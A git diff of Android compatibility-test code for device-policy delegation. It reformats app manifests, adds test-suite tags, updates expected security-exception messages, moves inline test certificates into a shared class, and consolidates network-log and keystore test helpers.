diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/AndroidManifest.xml
index 6af733e..d616942 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/AndroidManifest.xml
@@ -16,26 +16,27 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.crossprofilenotenabledapp">
+     package="com.android.cts.crossprofilenotenabledapp">
 
-    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29"/>
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
 
     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"/>
 
-    <application
-        android:crossProfile="false">
-        <receiver android:name=".CrossProfileNotEnabledAppReceiver">
+    <application android:crossProfile="false">
+        <receiver android:name=".CrossProfileNotEnabledAppReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED" />
+                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED"/>
             </intent-filter>
         </receiver>
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.crossprofilenotenabledapp"
-                     android:label="Launcher Apps CTS Tests"/>
+         android:targetPackage="com.android.cts.crossprofilenotenabledapp"
+         android:label="Launcher Apps CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
index af28434..071cc2e 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
@@ -34,5 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/AndroidManifest.xml
index c10c617..d89a88a 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/AndroidManifest.xml
@@ -16,24 +16,25 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.crossprofileuserenabledapp">
+     package="com.android.cts.crossprofileuserenabledapp">
 
-    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29"/>
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
 
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
 
-    <application
-        android:crossProfile="true">
-        <receiver android:name=".CrossProfileUserEnabledAppReceiver">
+    <application android:crossProfile="true">
+        <receiver android:name=".CrossProfileUserEnabledAppReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED" />
+                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED"/>
             </intent-filter>
         </receiver>
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.crossprofileuserenabledapp"
-                     android:label="Launcher Apps CTS Tests"/>
+         android:targetPackage="com.android.cts.crossprofileuserenabledapp"
+         android:label="Launcher Apps CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
index 277baed..ba0c260 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
@@ -34,5 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp b/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
index c324641..64303d7 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
@@ -23,6 +23,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.bp b/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
index d6b271d..93b5304 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
@@ -31,6 +31,7 @@
         "androidx.test.rules",
         "ub-uiautomator",
         "truth-prebuilt",
+        "devicepolicy-deviceside-common",
     ],
     sdk_version: "current",
     // tag this module as a cts test artifact
@@ -38,5 +39,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
index 33da314..9618e9b 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
@@ -15,25 +15,24 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.delegate">
+     package="com.android.cts.delegate">
 
-    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.INTERNET"/>
 
     <application android:usesCleartextTraffic="true">
-        <uses-library android:name="android.test.runner" />
-        <activity
-            android:name="com.android.cts.delegate.DelegatedScopesReceiverActivity"
-            android:exported="true">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="com.android.cts.delegate.DelegatedScopesReceiverActivity"
+             android:exported="true">
         </activity>
-        <receiver
-            android:name=".NetworkLoggingDelegateTest$NetworkLogsReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name=".DelegateTestUtils$NetworkLogsReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.NETWORK_LOGS_AVAILABLE"/>
             </intent-filter>
         </receiver>
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.delegate"
-                     android:label="Delegation CTS Tests"/>
+         android:targetPackage="com.android.cts.delegate"
+         android:label="Delegation CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
index a00f7b5..8401937 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
@@ -89,12 +89,12 @@
                 amIAppRestrictionsDelegate());
 
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, null);
                 });
 
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
                 });
     }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
index f706b85..26afac9 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
@@ -48,7 +48,7 @@
             amIBlockUninstallDelegate());
 
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.setUninstallBlocked(null, TEST_APP_PKG, true);
                 });
     }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
index 933e257..76b82f5 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
@@ -16,100 +16,33 @@
 package com.android.cts.delegate;
 
 import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+
 import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+import static com.android.cts.devicepolicy.TestCertificates.TEST_CA;
+import static com.android.cts.devicepolicy.TestCertificates.TEST_CERT;
+import static com.android.cts.devicepolicy.TestCertificates.TEST_KEY;
 
 import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.Parcelable;
-import android.os.UserManager;
 import android.test.InstrumentationTestCase;
-import android.test.MoreAsserts;
 import android.util.Base64;
 import android.util.Base64InputStream;
-import android.util.Log;
 
 import java.io.ByteArrayInputStream;
+import java.security.KeyFactory;
+import java.security.PrivateKey;
 import java.security.cert.Certificate;
 import java.security.cert.CertificateException;
 import java.security.cert.CertificateFactory;
 import java.security.spec.PKCS8EncodedKeySpec;
-import java.security.KeyFactory;
-import java.security.PrivateKey;
 import java.util.List;
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Tests that a package other than the DPC can manage app restrictions if allowed by the DPC
  * via {@link DevicePolicyManager#setApplicationRestrictionsManagingPackage(ComponentName, String)}
  */
 public class CertInstallDelegateTest extends InstrumentationTestCase {
-
-    private static final String TEST_CA =
-            "-----BEGIN CERTIFICATE-----\n" +
-            "MIIDXTCCAkWgAwIBAgIJAK9Tl/F9V8kSMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV\n" +
-            "BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX\n" +
-            "aWRnaXRzIFB0eSBMdGQwHhcNMTUwMzA2MTczMjExWhcNMjUwMzAzMTczMjExWjBF\n" +
-            "MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50\n" +
-            "ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB\n" +
-            "CgKCAQEAvItOutsE75WBTgTyNAHt4JXQ3JoseaGqcC3WQij6vhrleWi5KJ0jh1/M\n" +
-            "Rpry7Fajtwwb4t8VZa0NuM2h2YALv52w1xivql88zce/HU1y7XzbXhxis9o6SCI+\n" +
-            "oVQSbPeXRgBPppFzBEh3ZqYTVhAqw451XhwdA4Aqs3wts7ddjwlUzyMdU44osCUg\n" +
-            "kVg7lfPf9sTm5IoHVcfLSCWH5n6Nr9sH3o2ksyTwxuOAvsN11F/a0mmUoPciYPp+\n" +
-            "q7DzQzdi7akRG601DZ4YVOwo6UITGvDyuAAdxl5isovUXqe6Jmz2/myTSpAKxGFs\n" +
-            "jk9oRoG6WXWB1kni490GIPjJ1OceyQIDAQABo1AwTjAdBgNVHQ4EFgQUH1QIlPKL\n" +
-            "p2OQ/AoLOjKvBW4zK3AwHwYDVR0jBBgwFoAUH1QIlPKLp2OQ/AoLOjKvBW4zK3Aw\n" +
-            "DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAcMi4voMMJHeQLjtq8Oky\n" +
-            "Azpyk8moDwgCd4llcGj7izOkIIFqq/lyqKdtykVKUWz2bSHO5cLrtaOCiBWVlaCV\n" +
-            "DYAnnVLM8aqaA6hJDIfaGs4zmwz0dY8hVMFCuCBiLWuPfiYtbEmjHGSmpQTG6Qxn\n" +
-            "ZJlaK5CZyt5pgh5EdNdvQmDEbKGmu0wpCq9qjZImwdyAul1t/B0DrsWApZMgZpeI\n" +
-            "d2od0VBrCICB1K4p+C51D93xyQiva7xQcCne+TAnGNy9+gjQ/MyR8MRpwRLv5ikD\n" +
-            "u0anJCN8pXo6IMglfMAsoton1J6o5/ae5uhC6caQU8bNUsCK570gpNfjkzo6rbP0\n" +
-            "wQ==\n" +
-            "-----END CERTIFICATE-----";
-
-    // Content from userkey.pem without the private key header and footer.
-    private static final String TEST_KEY =
-            "MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALCYprGsTU+5L3KM\n" +
-            "fhkm0gXM2xjGUH+543YLiMPGVr3eVS7biue1/tQlL+fJsw3rqsPKJe71RbVWlpqU\n" +
-            "mhegxG4s3IvGYVB0KZoRIjDKmnnvlx6nngL2ZJ8O27U42pHsw4z4MKlcQlWkjL3T\n" +
-            "9sV6zW2Wzri+f5mvzKjhnArbLktHAgMBAAECgYBlfVVPhtZnmuXJzzQpAEZzTugb\n" +
-            "tN1OimZO0RIocTQoqj4KT+HkiJOLGFQPwbtFpMre+q4SRqNpM/oZnI1yRtKcCmIc\n" +
-            "mZgkwJ2k6pdSxqO0ofxFFTdT9czJ3rCnqBHy1g6BqUQFXT4olcygkxUpKYUwzlz1\n" +
-            "oAl487CoPxyr4sVEAQJBANwiUOHcdGd2RoRILDzw5WOXWBoWPOKzX/K9wt0yL+mO\n" +
-            "wlFNFSymqo9eLheHcEq/VD9qK9rT700dCewJfWj6+bECQQDNXmWNYIxGii5NJilT\n" +
-            "OBOHiMD/F0NE178j+/kmacbhDJwpkbLYXaP8rW4+Iswrm4ORJ59lvjNuXaZ28+sx\n" +
-            "fFp3AkA6Z7Bl/IO135+eATgbgx6ZadIqObQ1wbm3Qbmtzl7/7KyJvZXcnuup1icM\n" +
-            "fxa//jtwB89S4+Ad6ZJ0WaA4dj5BAkEAuG7V9KmIULE388EZy8rIfyepa22Q0/qN\n" +
-            "hdt8XasRGHsio5Jdc0JlSz7ViqflhCQde/aBh/XQaoVgQeO8jKyI8QJBAJHekZDj\n" +
-            "WA0w1RsBVVReN1dVXgjm1CykeAT8Qx8TUmBUfiDX6w6+eGQjKtS7f4KC2IdRTV6+\n" +
-            "bDzDoHBChHNC9ms=\n";
-
-    // Content from usercert.pem without the header and footer.
-    private static final String TEST_CERT =
-            "MIIDEjCCAfqgAwIBAgIBATANBgkqhkiG9w0BAQsFADBFMQswCQYDVQQGEwJBVTET\n" +
-            "MBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQ\n" +
-            "dHkgTHRkMB4XDTE1MDUwMTE2NTQwNVoXDTI1MDQyODE2NTQwNVowWzELMAkGA1UE\n" +
-            "BhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0IFdp\n" +
-            "ZGdpdHMgUHR5IEx0ZDEUMBIGA1UEAwwLY2xpZW50IGNlcnQwgZ8wDQYJKoZIhvcN\n" +
-            "AQEBBQADgY0AMIGJAoGBALCYprGsTU+5L3KMfhkm0gXM2xjGUH+543YLiMPGVr3e\n" +
-            "VS7biue1/tQlL+fJsw3rqsPKJe71RbVWlpqUmhegxG4s3IvGYVB0KZoRIjDKmnnv\n" +
-            "lx6nngL2ZJ8O27U42pHsw4z4MKlcQlWkjL3T9sV6zW2Wzri+f5mvzKjhnArbLktH\n" +
-            "AgMBAAGjezB5MAkGA1UdEwQCMAAwLAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2Vu\n" +
-            "ZXJhdGVkIENlcnRpZmljYXRlMB0GA1UdDgQWBBQ8GL+jKSarvTn9fVNA2AzjY7qq\n" +
-            "gjAfBgNVHSMEGDAWgBRzBBA5sNWyT/fK8GrhN3tOqO5tgjANBgkqhkiG9w0BAQsF\n" +
-            "AAOCAQEAgwQEd2bktIDZZi/UOwU1jJUgGq7NiuBDPHcqgzjxhGFLQ8SQAAP3v3PR\n" +
-            "mLzcfxsxnzGynqN5iHQT4rYXxxaqrp1iIdj9xl9Wl5FxjZgXITxhlRscOd/UOBvG\n" +
-            "oMrazVczjjdoRIFFnjtU3Jf0Mich68HD1Z0S3o7X6sDYh6FTVR5KbLcxbk6RcoG4\n" +
-            "VCI5boR5LUXgb5Ed5UxczxvN12S71fyxHYVpuuI0z0HTIbAxKeRw43I6HWOmR1/0\n" +
-            "G6byGCNL/1Fz7Y+264fGqABSNTKdZwIU2K4ANEH7F+9scnhoO6OBp+gjBe5O+7jb\n" +
-            "wZmUCAoTka4hmoaOCj7cqt/IkmxozQ==\n";
-
     private DevicePolicyManager mDpm;
 
     @Override
@@ -124,12 +57,12 @@
         assertFalse(amICertInstallDelegate());
 
         assertExpectException(SecurityException.class,
-                "Neither user \\d+ nor current process has", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.installCaCert(null, null);
                 });
 
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.removeKeyPair(null, "alias");
                 });
     }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java
index b162f86..0f95b65 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java
@@ -15,25 +15,103 @@
  */
 package com.android.cts.delegate;
 
+import static android.app.admin.SecurityLog.TAG_KEY_DESTRUCTION;
+import static android.app.admin.SecurityLog.TAG_KEY_GENERATED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.fail;
+
+import android.app.admin.DelegatedAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.NetworkEvent;
+import android.app.admin.SecurityLog.SecurityEvent;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Process;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
 import android.test.MoreAsserts;
+import android.util.Log;
+
 import junit.framework.Assert;
 
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.KeyStore;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
 /**
  * Utils class for delegation tests.
  */
 public class DelegateTestUtils {
+    // Indices of various fields in SecurityEvent payload.
+    private static final int SUCCESS_INDEX = 0;
+    private static final int ALIAS_INDEX = 1;
+    private static final int UID_INDEX = 2;
+
+    // Value that indicates success in events that have corresponding field in their payload.
+    private static final int SUCCESS_VALUE = 1;
 
     @FunctionalInterface
     public interface ExceptionRunnable {
         void run() throws Exception;
     }
 
+    /**
+     * A receiver for listening for network logs.
+     *
+     * To use this the sBatchCountDown must be assigned before generating logs.
+     * The receiver will ignore events until sBatchCountDown is assigned.
+     */
+    public static class NetworkLogsReceiver extends DelegatedAdminReceiver {
+
+        private static final long TIMEOUT_MIN = 3;
+
+        static CountDownLatch sBatchCountDown;
+        static ArrayList<NetworkEvent> sNetworkEvents = new ArrayList<>();
+
+        @Override
+        public void onNetworkLogsAvailable(Context context, Intent intent, long batchToken,
+                int networkLogsCount) {
+            if (sBatchCountDown == null) {
+                // If the latch is not set then nothing will be using the receiver to examine
+                // the logs. Leave the logs unread.
+                return;
+            }
+
+            DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+            final List<NetworkEvent> events = dpm.retrieveNetworkLogs(null, batchToken);
+            if (events == null || events.size() == 0) {
+                fail("Failed to retrieve batch of network logs with batch token " + batchToken);
+            } else {
+                sNetworkEvents.addAll(events);
+                sBatchCountDown.countDown();
+            }
+        }
+
+        public static void waitForBroadcast() throws InterruptedException {
+            sBatchCountDown.await(TIMEOUT_MIN, TimeUnit.MINUTES);
+            if (sBatchCountDown.getCount() > 0) {
+                fail("Did not get DelegateAdminReceiver#onNetworkLogsAvailable callback");
+            }
+        }
+
+        public static List<NetworkEvent> getNetworkEvents() {
+            return sNetworkEvents;
+        }
+    }
+
     public static void assertExpectException(Class<? extends Throwable> expectedExceptionType,
             String expectedExceptionMessageRegex, ExceptionRunnable r) {
         try {
             r.run();
         } catch (Throwable e) {
-            Assert.assertTrue("Expected " + expectedExceptionType.getName() + " but caught " + e,
+            Assert.assertTrue("Expected " + expectedExceptionType.getName() + " but caught:"
+                            + "\n" + Log.getStackTraceString(e) + "\nTest exception:\n",
                 expectedExceptionType.isAssignableFrom(e.getClass()));
             if (expectedExceptionMessageRegex != null) {
                 MoreAsserts.assertContainsRegex(expectedExceptionMessageRegex, e.getMessage());
@@ -42,4 +120,92 @@
         }
         Assert.fail("Expected " + expectedExceptionType.getName() + " was not thrown");
     }
+
+    /**
+     * Generates a key for the given key alias, asserts it was created successfully
+     */
+    public static void testGenerateKey(String keyAlias) throws Exception {
+        final KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA", "AndroidKeyStore");
+        generator.initialize(
+                new KeyGenParameterSpec.Builder(keyAlias, KeyProperties.PURPOSE_SIGN).build());
+        final KeyPair keyPair = generator.generateKeyPair();
+        assertThat(keyPair).isNotNull();
+    }
+
+    /**
+     * Deletes a key for the given key alias
+     */
+    public static void deleteKey(String keyAlias) throws Exception {
+        final KeyStore ks = KeyStore.getInstance("AndroidKeyStore");
+        ks.load(null);
+        ks.deleteEntry(keyAlias);
+    }
+
+
+    /**
+     * Fetches the available security events
+     */
+    public static List<SecurityEvent> getSecurityEvents(DevicePolicyManager dpm)
+            throws Exception {
+        List<SecurityEvent> events = null;
+        // Retry once after seeping for 1 second, in case "dpm force-security-logs" hasn't taken
+        // effect just yet.
+        for (int i = 0; i < 5 && events == null; i++) {
+            events = dpm.retrieveSecurityLogs(null);
+            if (events == null) Thread.sleep(1000);
+        }
+
+        return events;
+    }
+
+    /**
+     * Verifies that the expected keystore events generated by {@link #testGenerateKey} are
+     * present
+     */
+    public static void verifyKeystoreEventsPresent(String generatedKeyAlias,
+            List<SecurityEvent> securityEvents) {
+        // STOPSHIP(b/183201685): re-enable when KeyStore2 logs these events.
+        /*
+        int receivedKeyGenerationEvents = 0;
+        int receivedKeyDeletionEvents = 0;
+
+        for (final SecurityEvent currentEvent : securityEvents) {
+            if (currentEvent.getTag() == TAG_KEY_GENERATED) {
+                verifyKeyEvent(currentEvent, generatedKeyAlias);
+                receivedKeyGenerationEvents++;
+            }
+
+            if (currentEvent.getTag() == TAG_KEY_DESTRUCTION) {
+                verifyKeyEvent(currentEvent, generatedKeyAlias);
+                receivedKeyDeletionEvents++;
+            }
+        }
+
+        assertThat(receivedKeyGenerationEvents).isEqualTo(1);
+        assertThat(receivedKeyDeletionEvents).isEqualTo(1);
+        */
+    }
+
+    /**
+     * Verifies that a security event represents a successful key modification event for
+     * keyAlias
+     */
+    private static void verifyKeyEvent(SecurityEvent event, String keyAlias) {
+        assertThat(getInt(event, SUCCESS_INDEX)).isEqualTo(SUCCESS_VALUE);
+        assertThat(getString(event, ALIAS_INDEX)).contains(keyAlias);
+        assertThat(getInt(event, UID_INDEX)).isEqualTo(Process.myUid());
+    }
+
+    private static Object getDatum(SecurityEvent event, int index) {
+        final Object[] dataArray = (Object[]) event.getData();
+        return dataArray[index];
+    }
+
+    private static String getString(SecurityEvent event, int index) {
+        return (String) getDatum(event, index);
+    }
+
+    private static int getInt(SecurityEvent event, int index) {
+        return (Integer) getDatum(event, index);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java
index 246f936..21e3f7c 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java
@@ -51,13 +51,13 @@
 
         // Exercise enableSystemApp(String).
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.enableSystemApp(null, TEST_APP_PKG);
                 });
 
         // Exercise enableSystemApp(Intent).
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.enableSystemApp(null, new Intent().setPackage(TEST_APP_PKG));
                 });
     }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/NetworkLoggingDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/NetworkLoggingDelegateTest.java
index 2dd20ce..8e838cb 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/NetworkLoggingDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/NetworkLoggingDelegateTest.java
@@ -16,14 +16,11 @@
 package com.android.cts.delegate;
 
 import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+
 import static com.google.common.truth.Truth.assertThat;
 
-import android.app.Activity;
-import android.app.admin.DelegatedAdminReceiver;
 import android.app.admin.DevicePolicyManager;
-import android.app.admin.NetworkEvent;
 import android.content.Context;
-import android.content.Intent;
 import android.support.test.uiautomator.UiDevice;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
@@ -33,9 +30,7 @@
 import java.io.IOException;
 import java.net.HttpURLConnection;
 import java.net.URL;
-import java.util.List;
 import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Tests that a delegate app with DELEGATION_NETWORK_LOGGING is able to control and access
@@ -44,14 +39,11 @@
 public class NetworkLoggingDelegateTest extends InstrumentationTestCase {
 
     private static final String TAG = "NetworkLoggingDelegateTest";
-    private static final long TIMEOUT_MIN = 1;
 
     private Context mContext;
     private DevicePolicyManager mDpm;
-    private Activity mActivity;
     private UiDevice mDevice;
 
-
     private static final String[] URL_LIST = {
             "example.edu",
             "ipv6.google.com",
@@ -63,28 +55,6 @@
             "google.de"
     };
 
-    public static class NetworkLogsReceiver extends DelegatedAdminReceiver {
-        static CountDownLatch mBatchCountDown;
-        static Throwable mExceptionFromReceiver;
-
-        @Override
-        public void onNetworkLogsAvailable(Context context, Intent intent, long batchToken,
-                int networkLogsCount) {
-            try {
-                DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
-                final List<NetworkEvent> events = dpm.retrieveNetworkLogs(null, batchToken);
-                if (events == null || events.size() == 0) {
-                    fail("Failed to retrieve batch of network logs with batch token " + batchToken);
-                }
-            } catch (Throwable e) {
-                mExceptionFromReceiver = e;
-            } finally {
-            mBatchCountDown.countDown();
-            }
-        }
-
-    }
-
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -92,8 +62,7 @@
         mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         mContext = getInstrumentation().getContext();
         mDpm = mContext.getSystemService(DevicePolicyManager.class);
-        NetworkLogsReceiver.mBatchCountDown = new CountDownLatch(1);
-        NetworkLogsReceiver.mExceptionFromReceiver = null;
+        DelegateTestUtils.NetworkLogsReceiver.sBatchCountDown = new CountDownLatch(1);
     }
 
     public void testCanAccessApis() throws Throwable {
@@ -123,12 +92,7 @@
             }
             mDevice.executeShellCommand("dpm force-network-logs");
 
-            assertTrue("Delegated app did not receive network logs within time limit",
-                    NetworkLogsReceiver.mBatchCountDown.await(TIMEOUT_MIN, TimeUnit.MINUTES));
-            if (NetworkLogsReceiver.mExceptionFromReceiver != null) {
-                // Rethrow any exceptions that might have happened in the receiver.
-                throw NetworkLogsReceiver.mExceptionFromReceiver;
-            }
